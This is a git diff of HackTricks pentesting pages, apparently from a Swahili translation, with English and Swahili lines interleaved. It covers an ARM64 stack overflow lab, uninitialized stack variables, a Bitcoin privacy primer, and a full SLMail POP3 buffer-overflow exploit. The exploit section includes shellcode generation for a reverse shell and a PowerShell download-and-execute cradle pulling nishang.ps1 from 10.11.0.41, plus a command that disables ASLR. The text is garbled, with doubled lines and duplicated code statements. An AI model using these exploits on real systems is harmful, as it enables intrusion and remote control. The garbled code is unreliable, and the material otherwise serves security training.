../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie, canary and nx:
Kusanya bila pie, canary na nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## Hakuna ASLR & Hakuna canary - Stack Overflow&#x20;
## No ASLR & No canary - Stack Overflow&#x20;
To stop ASLR execute:
Ili kuzuia ASLR tekeleza:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Ili kupata [**offset ya bof angalia kiungo hiki**](../ret2win/ret2win-arm64.md#finding-the-offset).
To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Exploit:
Exploiti:
```python
from pwn import *
@ -73,9 +66,8 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
Jambo pekee "gumu" kupata hapa ingekuwa anwani katika stack ya kuita. Katika kesi yangu nilitengeneza exploit na anwani iliyopatikana kwa kutumia gdb, lakini kisha nilipokuwa nikifanya exploit haikufanya kazi (kwa sababu anwani ya stack ilibadilika kidogo).
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
Nilifungua **`core` file** iliyotengenezwa (`gdb ./bog ./core`) na kuangalia anwani halisi ya mwanzo wa shellcode.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,65 +4,63 @@
## Basic Information
The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example:
Wazo kuu hapa ni kuelewa kinachotokea na **variables zisizokuwa na mwanzo kwani zitakuwa na thamani ambayo tayari ilikuwa katika kumbukumbu iliyotengwa kwao.** Mfano:
- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it.
- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location.
- **Function 1: `initializeVariable`**: Tunatangaza variable `x` na kupewa thamani, tuseme `0x1234`. Kitendo hiki ni sawa na kuhifadhi mahali katika kumbukumbu na kuweka thamani maalum ndani yake.
- **Function 2: `useUninitializedVariable`**: Hapa, tunatangaza variable nyingine `y` lakini hatuipatii thamani yoyote. Katika C, variables zisizokuwa na mwanzo hazipati moja kwa moja thamani sifuri. Badala yake, zinashikilia thamani yoyote iliyokuwa imehifadhiwa mwisho katika eneo lao la kumbukumbu.
When we run these two functions **sequentially**:
Tunapokimbia hizi kazi mbili **mfululizo**:
1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address.
2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there.
1. Katika `initializeVariable`, `x` inapata thamani (`0x1234`), ambayo inachukua anwani maalum ya kumbukumbu.
2. Katika `useUninitializedVariable`, `y` inatangazwa lakini haipati thamani, hivyo inachukua mahali pa kumbukumbu moja baada ya `x`. Kwa sababu ya kutokuweka mwanzo `y`, inamaliza "kurithi" thamani kutoka eneo lile lile la kumbukumbu lililotumiwa na `x`, kwa sababu hiyo ndiyo thamani ya mwisho iliyokuwepo.
This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory.
Tabia hii inaonyesha dhana muhimu katika programu za kiwango cha chini: **Usimamizi wa kumbukumbu ni muhimu**, na variables zisizokuwa na mwanzo zinaweza kusababisha tabia isiyotabirika au udhaifu wa usalama, kwani zinaweza bila kukusudia kushikilia data nyeti iliyobaki katika kumbukumbu.
Uninitialized stack variables could pose several security risks like:
Variables za stack zisizokuwa na mwanzo zinaweza kuleta hatari kadhaa za usalama kama:
- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data.
- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits.
- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes.
- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats.
- **Data Leakage**: Taarifa nyeti kama nywila, funguo za usimbuaji, au maelezo binafsi yanaweza kufichuliwa ikiwa yatahifadhiwa katika variables zisizokuwa na mwanzo, na kuwapa washambuliaji uwezo wa kusoma data hii.
- **Information Disclosure**: Maudhui ya variables zisizokuwa na mwanzo yanaweza kufichua maelezo kuhusu mpangilio wa kumbukumbu wa programu au operesheni za ndani, na kuwasaidia washambuliaji kuendeleza mashambulizi yaliyolengwa.
- **Crashes and Instability**: Operesheni zinazohusisha variables zisizokuwa na mwanzo zinaweza kusababisha tabia isiyofafanuliwa, na kusababisha programu kuanguka au matokeo yasiyotabirika.
- **Arbitrary Code Execution**: Katika hali fulani, washambuliaji wanaweza kutumia udhaifu huu kubadilisha mtiririko wa utekelezaji wa programu, na kuwapa uwezo wa kutekeleza msimbo wa kiholela, ambao unaweza kujumuisha vitisho vya utekelezaji wa msimbo wa mbali.
### Example
```c
#include <stdio.h>
// Function to initialize and print a variable
void initializeAndPrint() {
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
}
// Function to demonstrate the behavior of an uninitialized variable
void demonstrateUninitializedVar() {
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
}
int main() {
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
// First, call the function that initializes its variable
initializeAndPrint();
// First, call the function that initializes its variable
initializeAndPrint();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
// Then, call the function that has an uninitialized variable
demonstrateUninitializedVar();
return 0;
return 0;
}
```
#### Jinsi Hii Inavyofanya Kazi:
#### How This Works:
- **`initializeAndPrint` Function**: Kazi hii inatangaza variable ya integer `initializedVar`, inatoa thamani `100`, na kisha inachapisha anwani ya kumbukumbu na thamani ya variable. Hatua hii ni rahisi na inaonyesha jinsi variable iliyoanzishwa inavyofanya kazi.
- **`demonstrateUninitializedVar` Function**: Katika kazi hii, tunatangaza variable ya integer `uninitializedVar` bila kuanzisha. Tunapojaribu kuchapisha thamani yake, matokeo yanaweza kuonyesha nambari isiyo ya kawaida. Nambari hii inawakilisha data yoyote iliyokuwa hapo awali katika eneo hilo la kumbukumbu. Kulingana na mazingira na compiler, matokeo halisi yanaweza kutofautiana, na wakati mwingine, kwa usalama, baadhi ya compilers zinaweza kuanzisha variable moja kwa moja kuwa sifuri, ingawa hii haipaswi kutegemewa.
- **`main` Function**: Kazi ya `main` inaita kazi zote mbili hapo juu kwa mpangilio, ikionyesha tofauti kati ya variable iliyoanzishwa na isiyoanzishwa.
- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves.
- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
## Mfano wa ARM64
## ARM64 Example
This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
Hii haibadilishi kabisa katika ARM64 kwani variable za ndani pia zinashughulikiwa katika stack, unaweza [**kuangalia mfano huu**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) ambapo hii inaonyeshwa.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,20 +2,17 @@
{{#include ../banners/hacktricks-training.md}}
## **Start installing the SLMail service**
## **Anza kufunga huduma ya SLMail**
## Restart SLMail service
Every time you need to **restart the service SLMail** you can do it using the windows console:
## Anzisha upya huduma ya SLMail
Kila wakati unahitaji **kuanzisha upya huduma ya SLMail** unaweza kufanya hivyo ukitumia konso ya windows:
```
net start slmail
```
![](<../images/image (988).png>)
## Very basic python exploit template
## Kigezo cha msingi cha exploit ya python
```python
#!/usr/bin/python
@ -27,99 +24,89 @@ port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
print "Could not connect to "+ip+":"+port
```
## **Badilisha Font ya Immunity Debugger**
## **Change Immunity Debugger Font**
Nenda kwa `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
## **Attach the proces to Immunity Debugger:**
## **Unganisha mchakato na Immunity Debugger:**
**File --> Attach**
![](<../images/image (869).png>)
**And press START button**
**Na bonyeza kitufe cha START**
## **Send the exploit and check if EIP is affected:**
## **Tuma exploit na angalia kama EIP imeathiriwa:**
![](<../images/image (906).png>)
Every time you break the service you should restart it as is indicated in the beginnig of this page.
Kila wakati unapoivunja huduma, unapaswa kuanzisha tena kama inavyoonyeshwa mwanzoni mwa ukurasa huu.
## Create a pattern to modify the EIP
## Tengeneza muundo wa kubadilisha EIP
The pattern should be as big as the buffer you used to broke the service previously.
Muundo unapaswa kuwa mkubwa kama buffer uliyotumia kuvunja huduma hapo awali.
![](<../images/image (420).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
Badilisha buffer ya exploit na uweke muundo na uzindue exploit.
Change the buffer of the exploit and set the pattern and lauch the exploit.
A new crash should appeard, but with a different EIP address:
Kivunjiko kipya kinapaswa kuonekana, lakini na anwani tofauti ya EIP:
![](<../images/image (636).png>)
Check if the address was in your pattern:
Angalia kama anwani ilikuwa katika muundo wako:
![](<../images/image (418).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
Inaonekana **tunaweza kubadilisha EIP katika offset 2606** ya buffer.
Looks like **we can modify the EIP in offset 2606** of the buffer.
Check it modifing the buffer of the exploit:
Angalia ikibadilisha buffer ya exploit:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
With this buffer the EIP crashed should point to 42424242 ("BBBB")
Na hii buffer EIP ilipasuka inapaswa kuelekeza kwa 42424242 ("BBBB")
![](<../images/image (874).png>)
![](<../images/image (92).png>)
Looks like it is working.
Inaonekana inafanya kazi.
## Check for Shellcode space inside the stack
## Angalia nafasi ya Shellcode ndani ya stack
600B should be enough for any powerfull shellcode.
Lets change the bufer:
600B inapaswa kuwa ya kutosha kwa shellcode yoyote yenye nguvu.
Hebu tubadilishe bufer:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
launch the new exploit and check the EBP and the length of the usefull shellcode
anzisha exploit mpya na uangalie EBP na urefu wa shellcode inayofaa
![](<../images/image (119).png>)
![](<../images/image (879).png>)
You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
Unaweza kuona kwamba wakati udhaifu unafikiwa, EBP inaelekeza kwenye shellcode na kwamba tuna nafasi nyingi za kuweka shellcode hapa.
In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
Katika kesi hii tuna **kutoka 0x0209A128 hadi 0x0209A2D6 = 430B.** Inatosha.
## Check for bad chars
Change again the buffer:
## Angalia kwa wahusika wabaya
Badilisha tena buffer:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@ -141,30 +128,27 @@ badchars = (
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Badchars huanza katika 0x01 kwa sababu 0x00 karibu kila wakati ni mbaya.
The badchars starts in 0x01 because 0x00 is almost always bad.
Tekeleza mara kwa mara exploit hii na buffer hii mpya ukiondoa wahusika ambao umeona kuwa hawana matumizi:
Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
Kwa mfano:
For example:
In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
Katika kesi hii unaweza kuona kwamba **hupaswi kutumia wahusika 0x0A** (hakuna kitu kinachohifadhiwa katika kumbukumbu tangu wahusika 0x09).
![](<../images/image (111).png>)
In this case you can see that **the char 0x0D is avoided**:
Katika kesi hii unaweza kuona kwamba **wahusika 0x0D wanakwepa**:
![](<../images/image (1098).png>)
## Find a JMP ESP as a return address
Using:
## Tafuta JMP ESP kama anwani ya kurudi
Ukifanya:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
You will **list the memory maps**. Search for some DLl that has:
Utahitaji **orodhesha ramani za kumbukumbu**. Tafuta baadhi ya DLL ambazo zina:
- **Rebase: False**
- **SafeSEH: False**
@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has:
![](<../images/image (555).png>)
Now, inside this memory you should find some JMP ESP bytes, to do that execute:
Sasa, ndani ya kumbukumbu hii unapaswa kupata baadhi ya bytes za JMP ESP, ili kufanya hivyo tekeleza:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Then, if some address is found, choose one that don't contain any badchar:**
**Kisha, ikiwa anwani fulani imepatikana, chagua moja ambayo haina badchar yoyote:**
![](<../images/image (605).png>)
**In this case, for example: \_0x5f4a358f**\_
## Create shellcode
**Katika kesi hii, kwa mfano: \_0x5f4a358f**\_
## Unda shellcode
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Ikiwa exploit haifanyi kazi lakini inapaswa (unaweza kuona na ImDebg kwamba shellcode imefikiwa), jaribu kuunda shellcodes nyingine (msfvenom na kuunda shellcodes tofauti kwa vigezo sawa).
If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
**Ongeza NOPS kadhaa mwanzoni** mwa shellcode na uitumie pamoja na anwani ya kurudi ili JMP ESP, na kumaliza exploit:
```bash
#!/usr/bin/python
@ -236,26 +215,23 @@ shellcode = (
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
print "Could not connect to "+ip+":"+port
```
> [!WARNING]
> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
> Kuna shellcodes ambazo zitajaza **zenyewe**, kwa hivyo ni muhimu kila wakati kuongeza NOPs kabla ya shellcode
## Improving the shellcode
Add this parameters:
## Kuboresha shellcode
Ongeza hizi parameters:
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,180 +1,176 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Concepts
## Misingi ya Kimsingi
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
- **Smart Contracts** zin定义wa kama programu zinazotekelezwa kwenye blockchain wakati masharti fulani yanatimizwa, zikifanya utekelezaji wa makubaliano bila wahusika wa kati.
- **Decentralized Applications (dApps)** zinajengwa juu ya smart contracts, zikiwa na muonekano wa kirafiki kwa mtumiaji na nyuma ya pazia wazi, inayoweza kukaguliwa.
- **Tokens & Coins** zinatofautisha ambapo coins hutumikia kama pesa za kidijitali, wakati tokens zinawakilisha thamani au umiliki katika muktadha maalum.
- **Utility Tokens** zinatoa ufikiaji wa huduma, na **Security Tokens** zinamaanisha umiliki wa mali.
- **DeFi** inasimama kwa Decentralized Finance, ikitoa huduma za kifedha bila mamlaka za kati.
- **DEX** na **DAOs** zinarejelea Mifumo ya Kubadilishana Isiyo na Kati na Mashirika ya Kujitegemea Yasiyo na Kati, mtawalia.
## Consensus Mechanisms
## Mekanizimu za Makubaliano
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
Mekanizimu za makubaliano zinahakikisha uthibitisho salama na wa makubaliano wa muamala kwenye blockchain:
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
- **Proof of Work (PoW)** inategemea nguvu za kompyuta kwa ajili ya uthibitisho wa muamala.
- **Proof of Stake (PoS)** inahitaji waithibitishaji kuwa na kiasi fulani cha tokens, ikipunguza matumizi ya nishati ikilinganishwa na PoW.
## Bitcoin Essentials
## Msingi wa Bitcoin
### Transactions
### Muamala
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
Muamala wa Bitcoin unahusisha kuhamasisha fedha kati ya anwani. Muamala unathibitishwa kupitia saini za kidijitali, kuhakikisha ni mmiliki pekee wa funguo za faragha anayeweza kuanzisha uhamasishaji.
#### Key Components:
#### Vipengele Muhimu:
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
- **Muamala wa Multisignature** unahitaji saini nyingi ili kuidhinisha muamala.
- Muamala unajumuisha **inputs** (chanzo cha fedha), **outputs** (kikundi), **fees** (zilizolipwa kwa wachimbaji), na **scripts** (sheria za muamala).
### Lightning Network
### Mtandao wa Mwanga
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
Unalenga kuboresha uwezo wa Bitcoin kwa kuruhusu muamala mwingi ndani ya channel, ukitangaza tu hali ya mwisho kwenye blockchain.
## Bitcoin Privacy Concerns
## Wasiwasi wa Faragha wa Bitcoin
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
Mashambulizi ya faragha, kama vile **Common Input Ownership** na **UTXO Change Address Detection**, yanatumia mifumo ya muamala. Mikakati kama **Mixers** na **CoinJoin** inaboresha kutotambulika kwa kuficha viungo vya muamala kati ya watumiaji.
## Acquiring Bitcoins Anonymously
## Kupata Bitcoins kwa Siri
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
Mbinu zinajumuisha biashara za pesa taslimu, uchimbaji, na kutumia mixers. **CoinJoin** inachanganya muamala mingi ili kuleta ugumu katika kufuatilia, wakati **PayJoin** inaficha CoinJoins kama muamala wa kawaida kwa ajili ya faragha zaidi.
# Bitcoin Privacy Atacks
# Mashambulizi ya Faragha ya Bitcoin
# Summary of Bitcoin Privacy Attacks
# Muhtasari wa Mashambulizi ya Faragha ya Bitcoin
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
Katika ulimwengu wa Bitcoin, faragha ya muamala na kutotambulika kwa watumiaji mara nyingi ni mada za wasiwasi. Hapa kuna muhtasari rahisi wa mbinu kadhaa za kawaida ambazo washambuliaji wanaweza kuathiri faragha ya Bitcoin.
## **Common Input Ownership Assumption**
## **Ushirikiano wa Kawaida wa Ingizo**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
Kwa kawaida ni nadra kwa ingizo kutoka kwa watumiaji tofauti kuunganishwa katika muamala mmoja kutokana na ugumu uliohusika. Hivyo, **anwani mbili za ingizo katika muamala mmoja mara nyingi zinadhaniwa kuwa za mmiliki mmoja**.
## **UTXO Change Address Detection**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
UTXO, au **Unspent Transaction Output**, lazima itumike kabisa katika muamala. Ikiwa sehemu tu yake inatumwa kwa anwani nyingine, iliyobaki inaenda kwa anwani mpya ya mabadiliko. Waangalizi wanaweza kudhani anwani hii mpya inamhusu mtumaji, ikihatarisha faragha.
### Example
### Mfano
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
Ili kupunguza hili, huduma za kuchanganya au kutumia anwani nyingi zinaweza kusaidia kuficha umiliki.
## **Social Networks & Forums Exposure**
## **Kuwekwa kwa Mitandao ya Kijamii na Mifumo ya Majadiliano**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
Watumiaji wakati mwingine hushiriki anwani zao za Bitcoin mtandaoni, na kufanya **rahisi kuunganisha anwani hiyo na mmiliki wake**.
## **Transaction Graph Analysis**
## **Analizi ya Grafu za Muamala**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
Muamala unaweza kuonyeshwa kama grafu, ikifunua uhusiano wa uwezekano kati ya watumiaji kulingana na mtiririko wa fedha.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **Heuristics ya Ingizo Isiyo ya Lazima (Heuristics ya Mabadiliko Bora)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
Heuristics hii inategemea kuchambua muamala wenye ingizo nyingi na matokeo ili kudhani ni ipi matokeo ni mabadiliko yanayorejea kwa mtumaji.
### Mfano
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Ikiwa kuongeza ingizo zaidi kunafanya matokeo ya mabadiliko kuwa makubwa kuliko ingizo lolote, inaweza kuchanganya heuristics.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Kurudi kwa Anwani Zilizo Lazimishwa**
## **Forced Address Reuse**
Washambuliaji wanaweza kutuma kiasi kidogo kwa anwani zilizotumika hapo awali, wakitumaini mpokeaji atachanganya hizi na ingizo zingine katika miamala ya baadaye, hivyo kuunganisha anwani pamoja.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Tabia Sahihi ya Wallet
### Correct Wallet Behavior
Wallet zinapaswa kuepuka kutumia sarafu zilizopokelewa kwenye anwani ambazo tayari zimetumika, ili kuzuia uvujaji huu wa faragha.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Mbinu Nyingine za Uchambuzi wa Blockchain**
## **Other Blockchain Analysis Techniques**
- **Kiasi Sahihi cha Malipo:** Miamala bila mabadiliko yanaweza kuwa kati ya anwani mbili zinazomilikiwa na mtumiaji mmoja.
- **Nambari za Mzunguko:** Nambari ya mzunguko katika muamala inaonyesha ni malipo, huku matokeo yasiyo ya mzunguko yakionekana kuwa mabadiliko.
- **Fingerprinting ya Wallet:** Wallet tofauti zina mifumo ya kipekee ya kuunda miamala, ikiruhusu wachambuzi kubaini programu iliyotumika na labda anwani ya mabadiliko.
- **Uhusiano wa Kiasi na Wakati:** Kufichua nyakati au kiasi cha miamala kunaweza kufanya miamala iweze kufuatiliwa.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Uchambuzi wa Trafiki**
## **Traffic Analysis**
Kwa kufuatilia trafiki ya mtandao, washambuliaji wanaweza kuunganisha miamala au vizuizi na anwani za IP, wakihatarisha faragha ya mtumiaji. Hii ni kweli hasa ikiwa shirika linaendesha nodi nyingi za Bitcoin, kuimarisha uwezo wao wa kufuatilia miamala.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## Zaidi
## More
Kwa orodha kamili ya mashambulizi ya faragha na ulinzi, tembelea [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Miamala ya Bitcoin Yasiyo na Jina
# Anonymous Bitcoin Transactions
## Njia za Kupata Bitcoins kwa Njia ya Siri
## Ways to Get Bitcoins Anonymously
- **Miamala ya Fedha Taslimu**: Kupata bitcoin kupitia fedha taslimu.
- **Mbadala za Fedha Taslimu**: Kununua kadi za zawadi na kuzibadilisha mtandaoni kwa bitcoin.
- **Uchimbaji**: Njia ya faragha zaidi ya kupata bitcoins ni kupitia uchimbaji, hasa inapofanywa peke yake kwa sababu makundi ya uchimbaji yanaweza kujua anwani ya IP ya mchimbaji. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Wizi**: Kimsingi, kuiba bitcoin kunaweza kuwa njia nyingine ya kuipata kwa siri, ingawa ni haramu na haipendekezwi.
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Huduma za Mchanganyiko
## Mixing Services
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
Kwa kutumia huduma ya mchanganyiko, mtumiaji anaweza **kutuma bitcoins** na kupokea **bitcoins tofauti kwa kurudi**, ambayo inafanya kufuatilia mmiliki wa asili kuwa ngumu. Hata hivyo, hii inahitaji kuaminika kwa huduma hiyo kutoshika kumbukumbu na kurudisha bitcoins kwa kweli. Chaguzi mbadala za mchanganyiko ni pamoja na kasino za Bitcoin.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
**CoinJoin** inachanganya miamala kadhaa kutoka kwa watumiaji tofauti kuwa moja, ikifanya mchakato kuwa mgumu kwa yeyote anayejaribu kulinganisha ingizo na matokeo. Licha ya ufanisi wake, miamala yenye ukubwa wa kipekee wa ingizo na matokeo bado inaweza kufuatiliwa.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Mifano ya miamala ambayo inaweza kuwa imetumia CoinJoin ni `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` na `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
Kwa maelezo zaidi, tembelea [CoinJoin](https://coinjoin.io/en). Kwa huduma sawa kwenye Ethereum, angalia [Tornado Cash](https://tornado.cash), ambayo inafanya miamala kuwa ya siri kwa fedha kutoka kwa wachimbaji.
## PayJoin
